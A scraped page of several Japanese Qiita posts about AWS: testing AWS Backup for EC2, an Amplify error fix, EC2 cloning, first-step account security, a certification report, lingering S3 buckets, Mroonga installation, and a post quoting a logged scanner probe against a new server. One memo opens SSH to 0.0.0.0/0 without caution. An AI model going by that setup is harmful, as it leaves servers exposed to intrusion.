64 bytes from localhost (127.0.0.1): icmp_seq=8 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=9 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=10 ttl=255 time=0.029 ms
64 bytes from localhost (127.0.0.1): icmp_seq=11 ttl=255 time=0.030 ms

この状態で、AWS Backup を取ってみます。

AWS Backup の操作

AWS Backup のコンソールを表示し、画面左側のハンバーガーメニュー(≡)をクリックします。
※実際の運用を行う際には、画面右側の「バックアッププランの作成」からプランを作成して、自動化するとよいです。
3.PNG

[ダッシュボード]メニューをクリックし、画面真ん中あたりにある、[オンデマンドバックアップを作成]ボタンをクリックします。
image.png

リソースタイプから[EC2]を選択し、インスタンスID から対象の EC2 インスタンスを指定します。
みつからない場合は、ぐるぐるアイコンをクリックしてください。
image.png

有効期限切れについては、今回は検証しませんが、n日後とかn週間後といった指定をすることで
期限が切れた古いバックアップを自動削除してくれる機能です。
image.png

バックアップボールト(Backup Vault)は、バックアップのグループの管理単位です。
初期状態では Default のみ存在しています。必要に応じて、作成しグルーピングを行います。
今回は、Default で試します。
image.png

IAM ロールも各環境のポリシーに応じて設定します。今回はデフォルトのロールで試します。
タグは必要に応じて管理用などに使います。未指定でも構いません。
設定ができたら、[オンデマンドバックアップを作成]ボタンをクリックしてバックアップの取得を開始します。
image.png

※たまに、[オンデマンドバックアップを作成]ボタンをクリックした際に、IAM ロールのエラーがでます。
※この場合は、デフォルトのロール ⇒ IAMロールを選択してください ⇒ デフォルトのロールとラジオボタンをクリックし、改めて[オンデマンドバックアップを作成]ボタンをクリックすることで続行できます。

バックアップが開始されると、以下の画面に遷移されます。
image.png

バックアップジョブIDのリンクをクリックすると、バックアップの詳細情報が確認できます。
image.png

バックアップで取得した AMI を確認する

image.png
AMI名称は、Nameタグ + インスタンスID + バックアップジョブID で構成される。

バックアップ中の OS 再起動有無を確認する

以下のように、Ping が途切れることなく続いていた。(icmp_seqの値が続いている)

64 bytes from localhost (127.0.0.1): icmp_seq=1805 ttl=255 time=0.032 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1806 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1807 ttl=255 time=0.029 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1808 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1809 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1810 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1811 ttl=255 time=0.031 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1812 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1813 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1814 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1815 ttl=255 time=0.027 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1816 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1817 ttl=255 time=0.028 ms
64 bytes from localhost (127.0.0.1): icmp_seq=1818 ttl=255 time=0.032 ms

合わせて、/var/log/messages内に起動や停止といったログがないかを確認しましたが見当たりませんでした。
OSレベルでの再起動は起こっておらず、また、EC2の停止起動も起きていませんでした。
つまり、AWS Backup による EC2 のバックアップは無停止で行われるようです。

そのため、運用上の必要に応じて以下のような対応が必要です。

  • Cloudwatch Events と AWS Lambda を利用して、事前に対象の EC2 インスタンスを停止させておく
    • その後、その EC2 インスタンスの起動が必要になる
  • いっそのこと、無停止バックアップにしてしまう
    • AWS 非推奨でデータの整合性を担保できないので自己責任で・・・

バックアップから復元してみよう

AWS Backup で取得したバックアップから EC2 インスタンスを復元してみましょう。
AWS Backup の EC2 バックアップは定義を含めた丸ごとバックアップのため、復元時もその情報が引き継がれ利用可能なはずです。

では、バックアップボールトを表示し、Defaultの詳細画面を開きます。
image.png

対象のバックアップについて、復元ポイントIDから選択して、[復元]ボタンをクリックします。
image.png
※復元ポイントIDはimage/ami-idの形式です。

バックアップ取得元の EC2 インスタンスの設定を以下に再掲します。

インスタンスタイプ:t3a.micro
EBS:8 GiB x2
VPC:デフォルトVPC
サブネット:ap-northeast-1d
Security Group:launch-wizard-10

以下はバックアップから復元の画面に表示された情報です。
バックアップ取得元の情報を引き継いでいることがわかります。

image.png

そして、復元時に AWS Backup が利用するロールをどうするか選択します。
今回は、デフォルトのロールで試しています。環境のポリシーに応じて設定・選択してください。

必要に応じて、詳細設定を開き、設定を行います。
image.png
※ 今回はt3.microで試行していますが、T2/T3 無制限を有効化が無効状態でした。
※ が、復元後に確認してみると「有効化」状態でした。。。

問題がなければ、[バックアップを復元]ボタンをクリックして復元を開始します。

・・・と、デフォルトのロールで実施すると、EC2 インスタンスの復元に失敗しました!
おそらく、デフォルトのロールに EC2 インスタンスを復元するにあたって必要な権限が足りていないのでしょう。

改めて、AWS Backup 用のロールを作成し、権限を付与して実行します。
image.png

数分待つと、無事に復元が行われました。
image.png

めでたし、めでたし・・・?

復元後の注意点

細かなところでバックアップ取得ともと設定が異なるところがありました。
環境によっては対応しないとならないため、注意が必要です。
以下は本試行で気づいた点ではありますが、記載のないその他のパラメータ(例えば、送信元/送信先チェックなど)の設定を変更している場合も合わせて注意が必要です。

  • タグが引き継がれない
    • Name タグなしのインスタンスが起動してくる
    • 複数、同じ Name タグを持つインスタンスが起動してわかりづらいのを防いでいる?
  • プライベート IP アドレス
    • 指定するところがない。
    • 細かく管理しないのであれば問題はない
  • キーペアが埋め込まれない?
    • EC2 のコンソールには表示がない。
    • Systems Manager - Session Manager では接続が可能
  • (前述のとおり)T2/T3 無制限が「無効状態」で復元しても、「有効状態」
    • 画面と実際の設定が異なるのが気になる
  • 詳細モニタリングの設定箇所がない
    • 後から設定ができるので大きな問題ではない

まとめ

リリースされたばかりで痒いところに手が届かなかったり、細かい注意点があったりしますが、
Cloudwatch Events と AWS Lambda を組み合わせて自作実装が必要だった EC2 のバックアップが自動化できるようになったのはアツいです。

また、基本的には何も考えずに同等の EC2 インスタンスを復元できるようになりました。
こちらも細かい注意が必要な点がありますが、それさえ乗り越えて(運用上で問題がないことを確認することで)作業の容易化につなげられるアップデートであると感じました。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

amplify add codegenでエラー

参考

https://github.com/aws-amplify/amplify-js/issues/2166

amplifyで同じアプリで一度amplify deleteしてから、amplify add codegenをしたら、下記のエラーが発生。

Codegen support only one GraphQL API per project

対応

.graphqlconfig.ymlを削除して、再度実行。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS EC2インスタンスの複製をしてみた。その2(備忘録)

前回の続きです。https://qiita.com/Bikeiken-IT/items/b0762a293e231898066f

step5.png

続いてストレージに関する設定です。EC2はサーバーとして機能しますが、ストレージ機能も有しています。
そのため、サーバーの処理の結果などを保存するためのストレージの設定が出来ます。
このストレージの情報をsnapshotとして保存し、新しく作るEC2インスタンスに反映させることが、今回の目的です。

現時点では何もせずに、デフォルトの状態でEC2インスタンスのストレージを設定します。
step6.png
タグ付けを行います。今回はタグのキーと値をEC2-test-1とします。
step7.png
続いて、セキュリティグループの設定です。

ルールの追加というボタンを押し、デフォルトで設定されているSSHのほかに、HTTPとHTTPSを追加します。

ホストとクライアント間では、お互いを識別し合いデータを交換します。その住所としてIPアドレスがあります。
データを受け取るクライアントにはポートと呼ばれる窓口があります。
あるIPアドレスのデータは○○番のポートを通るようにと設定することで、通信の安全性が保たれます。
また、データの通信方法にもルールがあります。SSHやHTTP、HTTPSなどがあります。
このように、データの通信方法やポートの設定、どのIPアドレスとのアクセスを許可するのかなどのセキュリティの設定を行います(ファイアウォールの設定)。

今回はSSH、HTTP、HTTPSという通信方式を選択し、それぞれの通信方式に対応するポートが選択され(自動に選択されます)。IPアドレスについては0.0.0.0/0に指定されています。これはすべてのIPアドレスにアクセス許可をみとめるものです(フルオープン)。

step8.png

これまでのEC2インスタンスの設定の確認画面です。問題が無ければ起動ボタンを押します。

step9-keypair.png

キーペアの作成または選択を求められます。

AWSを利用する際に、自身のPCを使いEC2インスタンスを操作することになります。
これは事実上リモートアクセスとなるため、AWS側と自身のPCとのデータのやり取りは暗号化することが求められます。
暗号化されたデータにカギがかけられているイメージです。この鍵をあらかじめpemというファイル形式で手元に置いておき、自身のPCからEC2インスタンスにアクセスする際に鍵を提示して、はじめて操作が可能となります。
step10-keypair.png

今回は、既に用意してあったtest123.pemというキーペアを利用します。
インスタンスの作成ボタンを押します。
step-created.png
EC2インスタンスが作成されました。分かりやすいようにEC2-test-1という名前を付けました。

次回以降、このEC2インスタンスの設定をTeraTermを用いてローカル環境からEC2にアクセスします。

その3に続きます。https://qiita.com/Bikeiken-IT/items/d8b1f731334c4f179447

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWSアカウントを作成したら最初にやるべきこと -セキュリティ編-

JAWS-UG 初心者支部 #22 ハンズオン用の資料です。

目的

AWSアカウントを不正利用されないために、アカウントを作成したらまずやるべきセキュリティ周りの設定を行います。

前提

  • AWSアカウントを作成済みであること
  • AWSアカウントにログインしていること
  • リージョンは東京リージョンを利用します

ハンズオン手順

アカウント周りの設定

ルートアクセスキーの削除

※ルートアカウントのアクセスキーは、デフォルトでは作成されておりません。アクセスキーを作成済みの方を対象とします。

ルートアカウントは全てのサービスへのアクセスが出来てしまうため、ルートアカウントは使用せず、IAMユーザーを使用しましょう。
CLI等のプログラムアクセスも不要なため、アクセスキーを削除します。
https://console.aws.amazon.com/iam/home#/security_credentials

スクリーンショット_2020-01-07_0_54_13.png

ルートアカウントのMFA有効化

もしメールアドレスとパスワードが流出してしまっても、ログインできないように多要素認証を有効化しておきます。

「多要素認証(MFA)」のタブにある「MFAの有効化」をクリックします。
https://console.aws.amazon.com/iam/home#/security_credentials

スクリーンショット_2020-01-07_0_55_55.png

割り当てるMFAデバイスの種類を選択します。
今回は仮想MFAデバイスを利用します。仮想MFAとしては「GoogleAuthenticator」等のアプリがあります。
AppStoreやGooglePlayStoreからMFAアプリをダウロードしましょう。

スクリーンショット_2020-01-07_0_58_08.png

「QRコードを表示」をクリックし、画面に表示されたQRコードをMFAアプリでスキャンします。(もしくはシークレットキーを入力します)
アプリに表示されたコードを2つ入力し、MFAの割り当てを行います。

スクリーンショット_2020-01-07_0_58_27.png

以下のようなモーダルが表示されると、割り当てが完了します。

スクリーンショット 2020-01-07 0.59.21.png

パスワードポリシーの変更

デフォルトの設定は「6文字以上」となっていますが、もう少し複雑なパスワードポリシーに変更します。

https://console.aws.amazon.com/iam/home#/account_settings

「パスワードポリシーを設定する」をクリックします。

スクリーンショット_2020-01-14_12_03_40.png

今回は
- 8文字以上
- 1文字以上のアルファベット大文字(A〜Z)を含む
- 1文字以上のアルファベット小文字(a〜z)を含む
- 1文字以上の数字を含む
- 1文字以上の記号を含む
とします。

スクリーンショット 2020-01-14 12.04.47.png

IAMグループの作成

IAMユーザーを作成する前に、IAMグループを作成します。
IAMグループを作成することで、権限管理がしやすくなります。

https://console.aws.amazon.com/iam/home#/groups

「新しいグループの作成」をクリックします。

スクリーンショット_2020-01-14_14_50_30.png

グループ名を入力します。
今回は全ての操作ができるグループを作成するため、adminとします。
スクリーンショット 2020-01-14 14.50.41.png

IAMグループにアタッチするポリシーを選択します。
今回はマネージドポリシーの「AdministratorAccess」を選択します。

※今回はハンズオンのためAdministratorAccessを利用しますが、実際に運用を始める際には最低限の権限を付与することをお勧めします。

スクリーンショット 2020-01-14 14.51.18.png

IAMユーザーの作成

ルートアカウント以外にログインできるアカウント(IAMユーザー)を作成します。
https://console.aws.amazon.com/iam/home#/users

ユーザー名を入力します。
今回はマネジメントコンソールにログインが出来れば良いので、「AWSマネジメントコンソールへのアクセス」にチェックを入れます。
パスワードは「カスタムパスワード」を選択し、任意のパスワードを入力します。

スクリーンショット 2020-01-14 14.49.56.png

IAMユーザーを追加するIAMグループを選択します。
先程作成したadminを選択します。
スクリーンショット 2020-01-14 14.52.19.png

必要に応じて「.csvのダウロード」からログイン情報をダウンロードして下さい。

スクリーンショット_2020-01-14_14_53_26.png

ユーザーの作成が終わったら、ログインしてみましょう。
完了画面に表示されているログインURL(https://xxxxxxxxxxxx.signin.aws.amazon.com/console)からログイン出来ます。

MFA設定

作成したIAMユーザーに対してもMFAの設定を行い、セキュアにしておきましょう。

https://console.aws.amazon.com/iam/home#/users

IAMユーザー一覧から、先程作成したユーザーを選択し、「認証情報」タブにあるMFAデバイスの割り当ての「管理」をクリックします。

スクリーンショット_2020-01-15_13_57_56.png

rootアカウントの時と同様に設定を行います。
「仮想MFAデバイス」を選択します。

スクリーンショット_2020-01-07_0_58_08.png

「QRコードを表示」をクリックし、画面に表示されたQRコードをMFAアプリでスキャンします。(もしくはシークレットキーを入力します)
アプリに表示されたコードを2つ入力し、MFAの割り当てを行います。

スクリーンショット_2020-01-07_0_58_27.png

以下のようなモーダルが表示されると、割り当てが完了します。

スクリーンショット 2020-01-07 0.59.21.png

ロギング設定

ここから先は料金が発生します
※GuardDutyには30日間の無料トライアル期間があります。

CloudTrailの有効化

CloudTrailはAWSのAPIに対する操作ログを取得するサービスです。
有効化しておくと、いつ、どのアカウントが、どのような操作を行ったかを確認することが出来ます。
無料で90日分を遡ることが出来ますが、CloudTrailの有効化を行うことで、操作ログをS3に保存しておくことが出来ます。

https://ap-northeast-1.console.aws.amazon.com/cloudtrail/home#/dashboard

「証跡の作成」をクリックします。

スクリーンショット_2020-01-14_17_05_10.png

証跡名を入力します。
スクリーンショット 2020-01-15 0.37.12.png

操作ログを保存するS3を作成します。
重複しない名前を入力します。
スクリーンショット 2020-01-15 0.38.21.png

完了すると一覧に作成した証跡情報が表示されます。
スクリーンショット 2020-01-15 0.41.19.png

GuardDutyの有効化

GuardDutyはAWSアカウントやAWSリソースに対する不審なアクティビティを検知/通知してくれるサービスです。

https://ap-northeast-1.console.aws.amazon.com/guardduty/home

「今すぐ始める」をクリックしたあと、「GuardDutyの有効化」をクリックして有効化します。

スクリーンショット_2020-01-15_10_55_40.png

スクリーンショット_2020-01-15_10_55_48.png

結果画面が表示されたら完了です。

スクリーンショット 2020-01-15 14.06.59.png

時間が余ったら・・・

GuardDutyのサンプル表示

GuardDutyでイベントが検知された場合、どのような結果が取得できるのか、サンプルデータで確認することが出来ます。

左メニューの「設定」→「結果サンプルの生成」をクリックします。

スクリーンショット_2020-01-28_16_41_41.png

ボタンのローディングアニメーションが終了したら、左メニューの「結果」をクリックして結果一覧を見てみましょう。

スクリーンショット 2020-01-28 16.46.18.png

リストをクリックすることで詳細を確認することが出来ます。
以下の例であれば、 i-9999999 のEC2インスタンスがビットコインに関するIPアドレスにリクエストしている旨の警告が出ています。

スクリーンショット 2020-01-28 17.12.13.png

課金リソースの削除

CloudTrailとGuardDutyは、トライアル期間が終了してしまうと料金が発生するため、削除方法も記載しておきます。

CloudTrailの無効化

左メニューの「証跡情報」から、先程作成した証跡を選択します。
スクリーンショット_2020-01-28_17_34_12.png

右上にあるゴミ箱アイコンをクリックします。
スクリーンショット_2020-01-28_17_34_31.png

警告画面が表示されます。「削除」クリックします。
スクリーンショット_2020-01-28_17_34_40.png

S3バケットの削除

CloudTrailのログを格納してあるS3バケットを削除します。

S3のコンソール画面から、対象のS3バケットを選択し、「空にする」をクリックしオブジェクトを削除した後、「削除」をクリックしてバケットを削除します。
スクリーンショット_2020-01-29_10_16_18.png

GuardDutyの無効化

左メニューの「設定」から、一覧下にある「GuardDutyの無効化」セクションの「無効化」をクリックします。
スクリーンショット_2020-01-28_17_25_37.png

警告画面が表示されます。「無効化」をクリックします。
スクリーンショット_2020-01-28_17_27_29.png

スタート画面が表示されたら完了です。
スクリーンショット 2020-01-28 17.27.44.png

参考

AWSが公開しているIAM運用のベストプラクティスも参照してみて下さい。
https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html

What Is AWS CloudTrail?

【初心者向け】AWSの脅威検知サービスAmazon GuardDutyのよく分かる解説と情報まとめ

この他にも最初にやるべきことがたくさんありますので、こちらもチェックしてみて下さい。
AWSアカウントを作ったら最初にやるべきこと ~令和元年版

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS Certified Developer Associateに合格しました

はじめに

AWS Certified Developer Associateを受験し、一発合格したので勉強方法をまとめます。

AWS Certified Developer Associateとは

筆者のバックグラウンド

実務でAWSのインフラ系のサービスは4年ほど触ってきました。
認定資格としては、去年までにCloud Practitioner、Solutions Architect Associate、Solutions Architest Professionalに合格しています。
開発系のサービスはチュートリアルレベルでしか触ったことがないため、1からガッツリ勉強しました。

勉強方法

ざっくりと以下のような流れで勉強しました。

①書籍でDeveloper Associateに出題されそうなサービスの概要とポイントを勉強
②未経験サービスについてはチュートリアルをやってみる
③公式ドキュメントやBlackbeltの資料を読み込む
④模擬試験を受験
⑤Whizlabsで練習問題を解いて解説を読み込む

結果的に898/1000で合格できましたが、勉強の時間配分があまり効率的じゃなかったなぁと反省しています。
①~③に時間をかけましたが、①~③はさらっと済ませて④で実力確認、⑤の解説の読み込みと理解に時間をかければよかったです。

書籍

以下の書籍で勉強しました。
Developer試験に出そうなサービスについて読み、未経験のサービスについては各章に記載されているチュートリアルを実施しました。

AWS認定アソシエイト3資格対策~ソリューションアーキテクト、デベロッパー、SysOpsアドミニストレーター~

模擬試験

AWS試験の予約サイトからオンラインで模擬試験を受験しました。
本試験より問題文が短く簡単な問題が多かったと感じましたが、内容としては本試験に近いので、模擬試験受験後にしっかり復習することをお勧めします。

Whizlabs

WhizlabsのAWS Certified Developer AssociateのPractice Testsを購入し、Google翻訳を使いつつ勉強しました。
練習問題の数が多く、解説が充実しているため、非常に役に立ちました。
問題によっては解説に公式ドキュメントのリンクが貼ってあるので、それをしっかり読み込んでおくといいです。
https://www.whizlabs.com/aws-developer-associate/

受験の感想

割と余裕をもって合格できましたが、もっと手を動かしてサービスを触っておけばよかったと思いました。
実務でもチュートリアルでもマネジメントコンソールからリソースを操作することが多かったのですが、普段からCLIを使っておけばもっと心に余裕が持てたかもしれません。

反省点はありますが、これまで馴染みのなかったサービスのことが少し理解できたので、今後は開発系のプロジェクトにも積極的に関わっていきたいと思います!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS アカウントの解約とリソース残存問題

AWSのアカウントを解約しても、作ったリソースはすぐには消えません。幸いなことに料金は発生しないので(請求書は来ないので)問題はないかと思ったら他の問題があることが最近分かりました。

アカウントの解約とリソース残存問題

解約したアカウントのS3 Bucket名に特定の名称を使っていて、その名称を他のアカウントで作ろうとした時に問題が発生しました。ベストな対策は、アカウントを解約する前に、リソースを綺麗に削除することです。

今回はアカウント解約をしてしまって、webコンソルにログインも出来ず、そのBucketが残っているかどうかの確認すら出来ないので、s3apiを使ってBucketが残っていることを確認しました。

Bucketの残存確認コマンド

# aws s3api head-bucket --bucket [Bucket Name]
Bucketが存在しているため作れない : 403 Forbidden
# aws s3api head-bucket --bucket [Bucket Name]

An error occurred (403) when calling the HeadBucket operation: Forbidden

Bucketが(どこかに)存在しているので作れないという意味です。
今回、このエラーコードが返ってきました。

Bucketが存在していない: 404 Not Found

# aws s3api head-bucket --bucket [Bucket Name]

An error occurred (404) when calling the HeadBucket operation: Not Found

Bucketが存在していない時のエラーコードです。
すなわち、この名前のBucketは作ることが出来る、という意味にもなります。

じゃ、どうする?

解約したアカウントなので直接削除することも出来ないため、解決案としては以下の3つを上げられます。

  • Bucketが消えるまで素直に待つ。(90日のアカウント復活可能期間が過ぎるまで?)
  • 別のBucket名を使う。
  • アカウント復活を申請して自分で削除する。

結論

アカウント解約する時は、必ず全リソースを削除してから解約しましょう。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

AWS Backupで追加されたAMIバックアップ&リストア機能を試してみた

2020/1/13に、AWS Backupの機能がアップデートされ、AMIの定期バックアップとリストアが可能となりました。

早速、この機能を試してみましたので紹介します。

AMIの定期(スケジュール)バックアップを作成

AWS Backupの画面からプランを作成します。
image.png
「新しいプランを立てる」を押します。
image.png
バックアップスケジュールなどを入力します。
image.png
バックアップボールトは、バックアップを保管するグルーピングに応じて作成します。
image.png
こちらも新しいアップデートで、新たにバックアップのリージョン間コピーが可能となっています。
必要があれば、ここでコピー先のリージョンを指定します。
image.png
「リソースを割り当てる」で、バックアップするEC2を指定します。
この画面で一気に複数台のEC2を登録でき、登録したEC2を同じスケジュールかつ同じボールトでバックアップします。
image.png
以上の手順で、AMIの定期(スケジュール)バックアップを設定できます。

AMIバックアップとリストアを試す

オンデマンドバックアップ (手動バックアップ) もできますので、試してみます。
やり方は、画面上でパラメータを指定するだけです。
image.png
バックアップが開始されると、ジョブの画面で進捗と結果を確認できます。
image.png
完了すると、ボールト内にバックアップができます。
image.png
このバックアップからリストアしてみます。
リストアの画面を開くと、バックアップ元のEC2の基礎情報は既に入力されています。
そのままリストアするも良し、別のサブネットにリストアするも良し、リストア先も自由に制御できます。
image.png
IAMロールや、シャットダウン動作も指定できます。
image.png
テナンシーやユーザーデータも指定できます。
image.png
リストアが開始されると、ジョブの画面で進捗と結果を確認できます。
image.png
完了すると、新しいEC2が起動します。
image.png

よくある質問

Q1: IPアドレスを指定してリストアできますか?

AWS Backupの機能ではできません。

ここまでの画面から分かるように、AWS Backupのウィザードを使用すると、リストア時に任意のIPアドレスを指定できません。
現時点では、任意のIPアドレスを指定するには、以下の「インスタンス起動ウィザード」のリンクから、通常のEC2インスタンス作成ウィザードに進み、作業する必要があるようです。
image.png

Q2: バックアップを削除すると、連動するAMIも削除されますか?

削除されます。

AWS Backupの機能で取得したバックアップ (AMI) は、AMIの一覧画面にも表示されます。
AWS Backupの画面からバックアップを削除すると、AMIの一覧からも、該当するAMIが削除されました。

Q3: バックアップはオンライン? オフライン?

オンライン (静止点なし) です。

従来no rebootを指定してAMIを取得する時と同じ動きをしているようです。
バックアップ対象のEC2にSSHで接続した状態で、バックアップジョブを実行してみましたが、一度も接続は途切れませんでした。

まとめ

今回のアップデートで、AMIも定期的にバックアップできるようになりました。
EC2をリブレースして迅速にリストアしたい場合などのユースケースにも、AWS Backupが使えます。
これで、オフラインバックアップを取りたい時以外は、完全にバックアップ用スクリプトの開発からおさらばできるでしょう!

関連記事

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【AWS】Ubuntu Server 18.04にMroongaをインストール(MySQL)

構成 今回は、プライベートサブネット内にデータベースを作成していきます。 AWSでのUbuntu Serverの立ち上げ AWS マネジメントコンソールのEC2の画面からインスタンスの作成をクリックします。 AMIの選択 Amazon マシンイメージ (AMI)のページで検索欄にUbuntuと入力します。 今回は「Ubuntu Server 18.04 LTS」を利用します。 インスタンスタイプの選択 インスタンスタイプはt2.microを選択します。 t2.nanoはメモリが足りずMySQLが起動できないという情報が有った為、断念しました。 インスタンスの設定 VPC内のプライベートサブネットを選択しました。 「キャパシティーの予約」だけ開くを選択しました。 ストレージの追加 デフォルトの設定にしました。 タグの設定 Nameタグを設定しました。 セキュリティグループの設定 セキュリティーグループは下記のように設定しました。 キーペアの選択 新しいキーペアの作成を選択し、キーペアをダウンロードしました。 AWS 踏み台サーバーからUbuntuへのアクセス 踏み台サーバーは、VPCのパブリック内に立ち上げておいてください。 アクセス方法 踏み台サーバーへキーペアをアップロードします。 Ubuntuサーバーのインスタンスを選択し、接続を押すとインスタンスに接続する方法が表示されます。 踏み台サーバーにアップしたキーに対し、chmodでアクセス権限の変更をおこなってください。 その後、「例」の内容をコピーし、sudo権限をつけて実行します。 結果 下記の画像のように表示された場合、接続が完了しています。 Ubuntuサーバーからインターネットへアクセスする為の設定 安全にネットワークに接続する為にNATを利用仕様と思います。 NAT GateWayの作成 VPCのページから、「NAT ゲートウェイ」を選択します。 NATゲートウェイのページで、NAT ゲートウェイの作成をクリックします。 サブネットはUbuntuサーバーを配置したVPC内のパブリックサブネットを選択してください。 Elastic IPは新しいEIPの作成を押してください。 作成されたNATゲートウェイのIDをメモしてください。 nat-0590f6bc305083087 そのまま、ルートテーブルの編集をクリックしてください。 ルートテーブルの作成 VPCのプライベートネットワークに「ルートテーブル」を作成します。 VPCのページからルートテーブルを選択し、ルートテーブルの作成を押します。 名前と対象のVPCを選択し、作成ボタンをクリックします。 ルートテーブルの編集 先ほど作成したルートテーブルを選択し、ルートの編集を行います。 ルートの追加を選択し、下記の設定を行います。 送信先 : 0.0.0.0/0 ターゲット : 先ほど作成したNATを指定 設定を入力したら、ルートの保存をクリックします。 サブネットの関連付け 先ほど作成したルートテーブルを選択し、ルートの編集を行います。 Ubuntuのサーバーを設置したプライベートのサブネットを選択し、保存をクリックします。 インターネット接続の確認 踏み台サーバーを経由して、Ubuntuサーバーにアクセスします。 下記のコマンドを実行してください。 実行コマンド curl https://google.com 下記のような実行結果が表示されれば、正常にネットワークに接続されています。 curl実行結果 ubuntu@ip-XX-XX-XX-XX:~$ curl https://google.com <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>301 Moved</TITLE></HEAD><BODY> <H1>301 Moved</H1> The document has moved <A HREF="https://www.google.com/">here</A>. </BODY></HTML> サーバー等の環境構築は以上です。次からMroongaのインストールを行います。 Mroongaのインストール PPA (Personal Package Archive)を利用してインストールしていきます。 公式のインストールページには以下の説明が書かれています。 Ubuntu用のMroongaのAPTリポジトリーはLaunchpad上のPPA(Personal Package Archive)を使っています。このPPAからAPTでMroongaをインストールできます。 インストール前の設定 universeリポジトリーとセキュリティアップデートリポジトリを有効化 はじめに、「add-apt-repository」を利用できるようにする為に、「software-properties-common」をインストールします。 利用中の Linux ディストリビューションおよび Linux Standard Base との互換性の識別を補助するためのシンプルなツール 「lsb-release」もインストールします。 sudo apt-get install -y -V software-properties-common lsb-release 次に各リポジトリの有効化を行います。 universeリポジトリーの有効化 sudo add-apt-repository -y universe セキュリティアップデートリポジトリの有効化 sudo add-apt-repository "deb http://security.ubuntu.com/ubuntu $(lsb_release --short --codename)-security main restricted" PPAをシステムに追加 PPAをシステムに追加するために下記コマンドを実行してください。 PPAシステムの追加 sudo add-apt-repository -y ppa:groonga/ppa sudo apt-get update Mroongaのインストール 今回はMySQL用のMroongaをインストールします。 MySQL_Mroonga sudo apt-get install -y -V mysql-server-mroonga 実行した結果内に「mysql.service」が「Active」になっていた場合、正常にインストールできています。 MeCabのインストール 今回はMeCabをトークナイザーとして利用したいので、「groonga-tokenizer-mecab」をインストールします。 groonga-tokenizer-mecabのインストール sudo apt-get install -y -V groonga-tokenizer-mecab Mroongaがインストールできたかを確認する。 下記のコマンドを実行してMySQLに接続します。 初期の設定は、ユーザー名:rootにパスワード無しで接続できます。 MySQLへの接続 sudo mysql -uroot Mroongaがインストールされているかどうかを確認します。 エンジンの確認 mysql> SHOW ENGINES; 下記のように実行結果内の「Engine」のカラムにMroongaが存在すれば無事インストールされています。 実行結果 +--------------------+---------+----------------------------------------------------------------+--------------+------+------------+ | Engine | Support | Comment | Transactions | XA | Savepoints | +--------------------+---------+----------------------------------------------------------------+--------------+------+------------+ | InnoDB | DEFAULT | Supports transactions, row-level locking, and foreign keys | YES | YES | YES | | MRG_MYISAM | YES | Collection of identical MyISAM tables | NO | NO | NO | | MEMORY | YES | Hash based, stored in memory, useful for temporary tables | NO | NO | NO | | BLACKHOLE | YES | /dev/null storage engine (anything you write to it disappears) | NO | NO | NO | | MyISAM | YES | MyISAM storage engine | NO | NO | NO | | CSV | YES | CSV storage engine | NO | NO | NO | | Mroonga | YES | CJK-ready fulltext search, column store | NO | NO | NO | | PERFORMANCE_SCHEMA | YES | Performance Schema | NO | NO | NO | | FEDERATED | NO | Federated MySQL storage engine | NULL | NULL | NULL | | ARCHIVE | YES | Archive storage engine | NO | NO | NO | +--------------------+---------+----------------------------------------------------------------+--------------+------+------------+ 10 rows in set (0.00 sec) 一応、バージョンの確認もしておきましょう。 実行するコマンド mysql> SHOW VARIABLES LIKE 'mroonga_version'; 実行結果 +-----------------+-------+ | Variable_name | Value | +-----------------+-------+ | mroonga_version | 9.11 | +-----------------+-------+ 1 row in set (0.00 sec) まとめ これで、正常にMySQLをインストールすることができました。 MySQLの初期設定等は、後日記事にしていこうと思います。 動作確認日 2020年01月15日に動作を確認しました。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

自前のサーバーでブログを開いた途端、世界中から怪しい攻撃が来た話

はじめに

概要

AWSの個人アカウントでEC2インスタンスを立ち上げて、そこにNginxやCMSを入れて、ブログを開設しました。ドメイン名を取得してIPアドレスとの紐づけ等はしましたが、コンテンツはまだ投稿しておらず、ロクにアクセスも来るはずがありません。

ところが、Nginxのアクセスログを見てみると、作成して1,2日のうちに、世界中から攻撃を試みられていたことがわかりました。ここでは、具体的にどのような攻撃があったのかについてまとめておきます。

サーバーの設定

サーバーは、EC2のt2.mediumのインスタンスです。ミドルウェアとしてはNginxとMySQLを入れていて、CMSとしては、私が苦手なPHPで動くWordpressではなく、Node.jsで動くGhostを入れました。

internet_dos_attack.png

攻撃の内容

以下に攻撃の内容を具体的に記します。大体同じような内容の攻撃的なアクセスが、世界中に散らばった複数地点から来ていました。

DBへの攻撃

ドイツのハンブルグ周辺及び台湾北部から、以下のようなリクエストが来ていました。

xxx.xxx.xxx.xxx - - [12/Jan/2020:08:49:03 +0000] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 404 580 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36"
